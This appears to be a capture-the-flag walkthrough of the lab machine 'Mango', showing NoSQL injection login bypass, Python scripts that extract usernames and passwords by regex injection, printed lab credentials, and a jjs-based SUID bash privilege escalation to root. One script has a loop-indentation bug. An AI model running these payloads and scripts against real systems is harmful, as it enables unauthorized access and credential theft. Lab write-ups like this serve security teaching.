Mango

Mango Is a medium difficulty Linux box that dives into the usage of NoSQL

Recon

we start off by scanning Mango's IP 10.10.10.162 with nmap

nmap -T4 -A -v 10.10.10.162

From our results we get the following

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: POST OPTIONS
|_http-title: Mango | Sweet & Juicy
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN

We see that port 80, 443 & 22 are open in adittion to this we see a ssl-cert being issued with the name staging-order.mango.htb We can now add

nano /etc/hosts
10.10.10.162 mango.htb staging-order.mango.htb

Navigating to mango.htb we find a search engine but not anything useful, moving onto staging-order.mango.htb however we find a login page

Let's fire up burp and intercept all the requests

We have tailtale hint of what the DB might be in the name MongoDB which itself is a NoSQL DB, lets see what we can gooogle up on it.

We can use a simple login in

username[$ne]=toto&password[$ne]=toto

We get back a status code 302 and with any other credentials 200 with this we can guess that a brute force attack

We can also use the regex to find the correct letters that are present in the username and pass, so lets write up a script for it.

from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
def sendPayload():
    for char in lowercase:
        regex = '{}.*'.format(char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' :'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            print "Found valid letter: {}".format(char)
def getUser():
    sendPayload()
if __name__ == '__main__':
    getUser()
python letters.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o

Right we have a base to start of with

from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
    regex = '^{}.*'.format(word)
    data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
    response = post(url, data = data, allow_redirects=False)
    if response.status_code == 302:
        return word
    else:
        return None
def getUser():
    for char in valid:
        if sendPayload(char) != None:
            print "Found username starting with {}".format(char)
if __name__ == '__main__':
    getUser()
python list.py
Found username starting with a
Found username starting with m

We now know there are 2 users with the usernames starting with either a or m

from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None
def getUser():
    for ch in ['a', 'm']:
        username = ch
        while True:
            char = sendPayload(username)
        if char != None:
            username += char
        else:
            print "Username found: {}".format(username)
            break
if __name__ == '__main__':
    getUser()
python username.py
Username found: admin
Username found: mango

Now finally to get the passwords

from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
def sendPayload(user):
    valid = []
    for char in printable:
        regex = '{}.*'.format(char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            valid.append(char)
    return valid
def getUser():

    for user in ['admin', 'mango']:
        valid = sendPayload(user)
        print "Valid characters for {}: {}".format(user, valid)
if __name__ == '__main__':
    getUser()
python passwords.py
Valid characters for admin:['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '$',
'.', '>', '\\', '^', '|']
Valid characters for mango:['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '$',
'.', '\\', ']', '^', '{', '|', '~']
from requests import post
from string import printable

url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\\$',
'\\.', '>', '\\\\', '\\^', '\\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\\$',
'\\.', '\\\\', ']', '\\^', '{', '\\|', '~']

def sendPayload(user, word):
    valid = admin_pass if user == 'admin' else mango_pass
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None
def getUser():
    for user in ['admin', 'mango']:
        password = ''
        while True:
            char = sendPayload(user, password)
            if char != None:
                password += char
            else:
                print "Password for {} found: {}".format(user, password)
                break
if __name__ == '__main__':
    getUser()

And finally

python passwho.py
password for admin found:t9KcS3>!0B#2
password for mango found:h3mXK8RhU~f{]f5H

We can now ssh into the server with the passwords we gathered

ssh mango@mango.htb

Exploit

We see that there is another user besides mango

mango@mango:/home$ ls
admin  mango

Luckily we've already cracked admin so lets su into him

su - admin

And Voila! we are admin and with that we have user

Post Exploitation

Running Linpeas https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS we find that we have jjs running. Checking GTFOBins https://gtfobins.github.io/gtfobins/jjs/ we see that we can actually use it to priv esc

For this we'll be getting bin/bash and setting its SUID

echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/bash').waitFor()" | jjs
echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /tmp/bash').waitFor()" | jjs
/tmp/bash -p

bash-4.4# pwd
/home/admin
bash-4.4# cd /root/
bash-4.4# ls
root.txt

And we have root!

Last updated